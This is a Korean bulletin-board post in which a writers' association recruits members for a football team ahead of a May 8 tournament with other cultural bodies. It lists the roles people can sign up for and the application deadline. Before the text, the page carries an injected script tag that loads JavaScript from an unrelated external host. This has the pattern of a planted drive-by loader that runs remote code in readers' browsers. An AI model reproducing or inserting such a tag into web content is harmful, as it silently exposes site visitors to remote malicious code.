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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 5월 8일 4개단체(민족문학작가회의, 문예진흥원, 문화관광부, 민예총) 친선축구대회가 열릴 예정입니다.
이에 사무처에서는 급히, 작가회의 축구선수단을 구성하려고 합니다.가칭은 /'/문발이/'/입니다.
작가회의 축구선수단에 참여해주실 분은 사무처에 전화나 메일로 신청해주시기 바랍니다.
연령, 학력, 장르, 지역, 성별, 문단경력 아무런 제한이 없습니다.
4월 25일까지 신청을 받겠습니다.
*축구공을 (아주 잘, 제법, 보통)차는 분- 선수단으로 신청
*축구는 못하나 응원하고 싶은분- 응원단으로 신청
*감독, 코치에 자신있는 분- 코치단으로 신청
*물주전자를 나르는 일 등으로 참여하고 싶은분-자원봉사단으로 신청
*기타 이 참에 그냥 여럿이서 함께 놀고 싶은분 -음주가무단으로 신청
저희 작가회의는 다른 면에서도 그렇지만 문화예술계의 축구사에도 많은 족적을 남긴 것으로 합니다. 선배님들이 수차례 팀을 이루어 여러 문화예술단체를 격파한 전력이 있다는 무용담을 누누히 들었습니다.
이번 5월 8일 대회에 다시 한 번 뭉쳐, 작가회의의 21세기 축구사의 첫 쪽을 장식합시다!
사무처에서는 놀라운 자매결연을 추진할 계획입니다. 살짝 공개하자변 작가회의 축구단과 여자축구국가대표팀의 자매결연.
또 혹시 압니까. 작가회의 축구단 소속으로 아테네 올림픽 구경가게 될 건수가 생길는지.
하여튼 무슨 좋은 일이 생길지 모르는, 작가회의 축구단 가칭 문발이에 많이많이 참가해주시어, 우선적으로 5월 8일 우승을 하도록 하고, 앞으로 회원들의 유대강화와 체력 증진을 하는 강력한 축구단이 만들어졌으면 좋겠습니다.
*신청 인원이 현저히 넘칠 경우는 5월 8일 대회에 앞서 선수 선발 테스를 겸한 회합자리를 한 차례 마련할 것이고, 인원이 어중간하거나 현저히 부족하거나 할 경우에도, 대책마련을 위한 한 차례 회합 차례를 마련할 계획입니다.
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